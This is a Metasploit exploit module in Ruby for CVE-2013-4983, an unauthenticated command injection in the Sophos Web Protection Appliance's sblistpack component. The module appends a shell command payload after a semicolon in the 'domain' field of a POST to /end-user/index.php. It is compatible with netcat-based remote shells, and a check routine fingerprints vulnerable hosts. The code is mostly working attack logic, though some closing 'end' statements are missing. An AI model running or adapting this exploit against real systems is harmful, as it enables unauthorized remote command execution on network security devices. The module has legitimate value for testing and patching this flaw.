Sophos Web Protection Appliance sblistpack Arbitrary Command Execution

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'Sophos Web Protection Appliance sblistpack Arbitrary Command Execution',

'Description' => %q{

This module exploits a command injection vulnerability on Sophos Web Protection Appliance

3.7.9, 3.8.0 and 3.8.1. The vulnerability exists on the sblistpack component, reachable

from the web interface without authentication. This module has been tested successfully

on Sophos Virtual Web Appliance 3.7.0.

},

'Author' =>

[

'Francisco Falcon', # Vulnerability discovery and PoC

'juan vazquez' # Metasploit module

],

'License' => MSF_LICENSE,

'References' =>

[

[ 'CVE', '2013-4983' ],

[ 'OSVDB', '97029' ],

[ 'BID', '62263'],

[ 'EDB', '28175'],

[ 'URL', 'http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities']

],

'Platform' => ['unix'],

'Arch' => ARCH_CMD,

'Privileged' => false,

'Payload' =>

{

'Space' => 1024,

'DisableNops' => true,

'BadChars' => "\x27\x22\x5c",

'Compat' =>

{

'PayloadType' => 'cmd',

'RequiredCmd' => 'generic netcat-e' # Because quotes and double-quotes aren't valid

}

},

'Targets' =>

[

[ 'Sophos Web Protection Appliance 3.7.0', { }]

],

'DefaultOptions' =>

{

'SSL' => true

},

'DefaultTarget' => 0,

'DisclosureDate' => 'Sep 06 2013'

))

register_options(

[

Opt::RPORT(443)

],

self.class

)

end

def check

url = "http://www.#{rand_text_alpha(10 + rand(10))}.com"

domain = "http://#{rand_text_alpha(10 + rand(10))}.com"

res = send_exploit_query(url, domain)

if res and res.code == 302 and res.headers.include?('Location') and res.headers['Location'] =~ /#{url}/

return Exploit::CheckCode::Detected

else

return Exploit::CheckCode::Safe

end

def exploit

print_status("#{rhost}:#{rport} - Executing payload...")

url = "http://www.#{rand_text_alpha(10 + rand(10))}.com"

domain = "http://#{rand_text_alpha(10 + rand(10))}.com;#{payload.raw}"

# very short timeout because the request may never return if we're

# sending a socket payload

send_exploit_query(url, domain, 0.01)

end

def send_exploit_query(url, domain, timeout = 20)

user = rand_text_alpha(8 + rand(5))

res = send_request_cgi({

'uri' => normalize_uri('end-user', 'index.php'),

'method' => 'POST',

'vars_get' => {

'c' =>'blocked',

'action' => 'continue'

},

'vars_post' => {

'url' => "#{Rex::Text.encode_base64(url)}",

'args_reason' => rand_text_alpha(15 + rand(5)),

'filetype' => rand_text_alpha(15 + rand(5)),

'user' => user,

'user_encoded' => "#{Rex::Text.encode_base64(user)}",

'domain' => domain,

'raw_category_id' => "#{rand_text_alpha(4 + rand(8))}|#{rand_text_alpha(4 + rand(8))}"

}

}, timeout)

return res

end